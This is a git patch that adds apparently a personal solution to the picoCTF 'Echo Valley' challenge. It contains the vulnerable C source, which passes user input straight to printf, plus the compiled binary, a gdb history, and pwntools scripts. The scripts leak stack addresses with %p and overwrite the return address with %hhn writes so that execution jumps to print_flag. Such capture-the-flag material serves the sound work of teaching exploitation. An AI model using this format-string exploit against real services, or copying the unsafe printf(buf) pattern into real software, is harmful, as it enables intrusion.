From 2359a500a2b57b7eac8f1bc316ff51da8c1555e2 Mon Sep 17 00:00:00 2001 From: THEON-1 Date: Fri, 19 Dec 2025 19:04:12 +0100 Subject: [PATCH] Echo Valley --- echo_valley/.gdb_history | 242 +++++++++++++++++++++++++++++++++++++++ echo_valley/manual.py | 51 +++++++++ echo_valley/sol.py | 63 ++++++++++ echo_valley/valley | Bin 0 -> 19584 bytes echo_valley/valley.c | 49 ++++++++ 5 files changed, 405 insertions(+) create mode 100644 echo_valley/.gdb_history create mode 100755 echo_valley/manual.py create mode 100755 echo_valley/sol.py create mode 100755 echo_valley/valley create mode 100644 echo_valley/valley.c diff --git a/echo_valley/.gdb_history b/echo_valley/.gdb_history new file mode 100644 index 0000000..5dfa8ad --- /dev/null +++ b/echo_valley/.gdb_history @@ -0,0 +1,242 @@ +disassemble main +disassemble echo_valley +b *echo_valley+218 +r +r +r +r +stackf +AAAA.%p.%p.%p.%p.%p.%p +r +nexti +r +stackf +nexti +r +stepi +stackf +next +next +next +next +next +next +next +next +next +next +next +next +next +next +nextret +next +r +stepi +stackf +nextret +nexti +stackf +r +disassemble echo_valley +stackf +help stackf +stackf 8 -10 +stackf 8 +stackf 8 10 +stackf 8 -100 +stackf 16 -10 +hexdump $sp +hexdump $sp-0x60 +hexdump $sp-0x60 100 +hexdump $sp-0x60 1000 +hexdump $sp-0x60 100 +stackf +hexdump $sp-0x60 100 +stackf +nextret +r +stackf +hexdump $sp-0x60 200 +necti +nexti +stackf +r +stepi +stackf +r +stackf +nexti +stackf +r +stackf +stepi +stackf +nextret +r +stackf +stepi +stackf +nextret +exit +disassemble echo_valley +b *echo_valley+201 +r +nexti +exit +disassemble echo_valley +b *echo_valley+218 +r +nexti +stackf +exit +b *echo_valley+218 +r +stackf +exit +b *echo_valley+218 +r +nexti +stackf +exit +b *echo_valley+218 +r +stackf +hexdump +hexdump 20 +hexdump $sp 20 +hexdump $sp 100 +hexdump $sp 120 +hexdump $sp 140 +nexti +exit +b *echo_valley+218 +r +nexti +stackf +hexdump $sp 140 +exit() +lexit +exit +b *echo_valley+218 +disassemble echo_valley +r +nexti +stackg +stackf +hexdump $sp 140 +xit +exit +exit +nexti +nexti +r +exit +stackf +stackf +nexti +nextret +nextret +nextret +nextret +nextret +nextret +nextret +nextret +stackf +nextret +nextret +nextret +stackf +exit +exit +exit +disassemble echo-valley +disassemble echo_valley +nextret +nextret +exit +disassemble echo_valley +b *echo_valley+163 +nextret +stackf +exit +disassemble echo_valley +b *echo_valley+218 +r +help printf +printf "\01\02" +printf "\x01\x02" +printf "\x61\x62" +printf "\x41\x41" +disassemble valloc +exit +disassemble echo_valley +b *echo_valley+218 +stackf +stackf help +stackf 20 +stackf 20 -1 +stackf 20 -2 +stackf 20 1 +stackf 20 2 +stackf 20 3 +stack-explore +stack +stackf +r +exit +b *echo_valley+218 +exit +b *echo_valley+218 +continue +stackf +nexti +stackf +exit +b *echo_valley+218 +continue +nexti +stackf +exit +b *echo_valley+218 +continue +nexti +exit +b *echo_valley+218 +continue +nexti +hexdump $sp 140 +continue +stackf +hexdump $sp 140 +nexti +stackf +hexdump $sp 140 +exit +b *echo_valley+218 +continue +nexti +continue +nexti +stackf +hexdump $sp 140 +exit +b *echo_valley+218 +continue +hexdump $sp 140 +nexti +hexdump $sp 140 +exit +b *echo_valley+218 +continue +hexdump $sp 140 +nexti +hexdump $sp 140 +continue +hexdump $sp 140 +nexti +hexdump $sp 140 +continue +exit +exit diff --git a/echo_valley/manual.py b/echo_valley/manual.py new file mode 100755 index 0000000..adbbe68 --- /dev/null +++ b/echo_valley/manual.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python +from pwn import * + +context.terminal = "kitty" + +def write(data): + print(f"data to send: {data}") + return input("enter result: ").encode() + +address_leak_string = write(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") +print(f"received {address_leak_string}") + +dot = address_leak_string.rfind(b'.') +address_leak = int(address_leak_string[dot+1:], 16) +print(f"return address: {hex(address_leak)}") + +dot2 = address_leak_string.rfind(b'.', 0, dot) +stack_address_leak_after_ret = int(address_leak_string[dot2+1:dot], 16) +stack_address_ret = stack_address_leak_after_ret - 8 +print(f"found stack address of ret pointer: {hex(stack_address_ret)}") + +address_offset = 18 +main_offset = 0x1401 +print_flag_offset = 0x1269 +address_to_return_to = address_leak - address_offset - main_offset + print_flag_offset +print(f"jump address is: {hex(address_to_return_to)}") + +# only 2 least significant address bytes have to be rewritten +print(f"first byte address: {p64(stack_address_ret)}") + +# produces string that writes 0<=n<=255 to byte at address +# offset for alignment of memory address +# here, use offset 2 +def produce_writer(n, address, offset=0, op=b"hhn"): + if n < 0: + log.error(f"n has to be >= 0, is {n}") + exit() + if n < 8: + n_pre = n + n_post = 8 - n_pre + offset + return b'.'*n_pre + b"%8$" + op + b'.'*n_post + address + else: + return f"%{n:03}$x..".encode() + b"%8$" + op + b'.'*offset + address + +lower_byte_value = address_to_return_to%256 +upper_byte_value = (address_to_return_to>>8)%256 +print(f"lower byte value: {lower_byte_value}\nupper byte value: {upper_byte_value}") +write_lower_byte = write(produce_writer(0, p64(stack_address_ret), offset=2)) +write_upper_byte = write(produce_writer(0, p64(stack_address_ret+1), offset=2)) +conn.interactive(term.text.bold_red(">> ")) + diff --git a/echo_valley/sol.py b/echo_valley/sol.py new file mode 100755 index 0000000..7206bb9 --- /dev/null +++ b/echo_valley/sol.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python +from pwn import * + +#conn = process("./valley") +conn = remote("shape-facility.picoctf.net", 53287) +conn.recvline() + +def write(data): + conn.sendline(data) + conn.recvuntil(b"e: ") + return conn.recvline(keepends=False) + +address_leak_string = write(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") +log.info(f"received {address_leak_string}") + +dot = address_leak_string.rfind(b'.') +address_leak = int(address_leak_string[dot+1:], 16) +log.info(f"return address: {hex(address_leak)}") + +dot2 = address_leak_string.rfind(b'.', 0, dot) +stack_address_leak_after_ret = int(address_leak_string[dot2+1:dot], 16) +stack_address_ret = stack_address_leak_after_ret - 8 +log.info(f"found stack address of ret pointer: {hex(stack_address_ret)}") + +address_offset = 18 +main_offset = 0x1401 +print_flag_offset = 0x1269 +address_to_return_to = address_leak - address_offset - main_offset + print_flag_offset +log.info(f"jump address is: {hex(address_to_return_to)}") + +# only 2 least significant address bytes have to be rewritten +log.info(f"first byte address: {p64(stack_address_ret)}") + +# produces string that writes 0<=n<=255 to byte at address +# offset for alignment of memory address +# here, use offset 2 +def produce_writer(n, address, offset=0, op=b"hhn"): + if n < 0: + log.error(f"n has to be >= 0, is {n}") + exit() + if n < 8: + n_pre = n + n_post = 8 - n_pre + offset + return b'.'*n_pre + b"%8$" + op + b'.'*n_post + address + else: + return f"%{(n-3):03}x...".encode() + b"%8$" + op + b'.'*offset + address + +lower_byte_value = address_to_return_to%256 +upper_byte_value = (address_to_return_to>>8)%256 + +lower_byte_writer = produce_writer(lower_byte_value, p64(stack_address_ret), offset=2) +log.info(f"writing lower byte value to {hex(lower_byte_value)} on enter with string {lower_byte_writer}") +write_lower_byte = conn.sendline(lower_byte_writer) + +upper_byte_writer = produce_writer(upper_byte_value, p64(stack_address_ret+1), offset=2) +log.info(f"writing upp byte value to {hex(upper_byte_value)} on enter with string {upper_byte_writer}") +write_upper_byte = conn.sendline(upper_byte_writer) + +conn.sendline(b"exit") +conn.recvuntil(b"The Valley Disappears\n") +rest = conn.recvall() +log.info(f"got {rest}") + diff --git a/echo_valley/valley b/echo_valley/valley new file mode 100755 index 0000000000000000000000000000000000000000..fac975ca37637faac26068422ee2963e88245c3a GIT binary patch literal 19584 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 Hk0|~Z?%WUB literal 0 HcmV?d00001 diff --git a/echo_valley/valley.c b/echo_valley/valley.c new file mode 100644 index 0000000..f86b7da --- /dev/null +++ b/echo_valley/valley.c @@ -0,0 +1,49 @@ +#include +#include +#include + +void print_flag() { + char buf[32]; + FILE *file = fopen("/home/valley/flag.txt", "r"); + + if (file == NULL) { + perror("Failed to open flag file"); + exit(EXIT_FAILURE); + } + + fgets(buf, sizeof(buf), file); + printf("Congrats! Here is your flag: %s", buf); + fclose(file); + exit(EXIT_SUCCESS); +} + +void echo_valley() { + printf("Welcome to the Echo Valley, Try Shouting: \n"); + + char buf[100]; + + while(1) + { + fflush(stdout); + if (fgets(buf, sizeof(buf), stdin) == NULL) { + printf("\nEOF detected. Exiting...\n"); + exit(0); + } + + if (strcmp(buf, "exit\n") == 0) { + printf("The Valley Disappears\n"); + break; + } + + printf("You heard in the distance: "); + printf(buf); + fflush(stdout); + } + fflush(stdout); +} + +int main() +{ + echo_valley(); + return 0; +}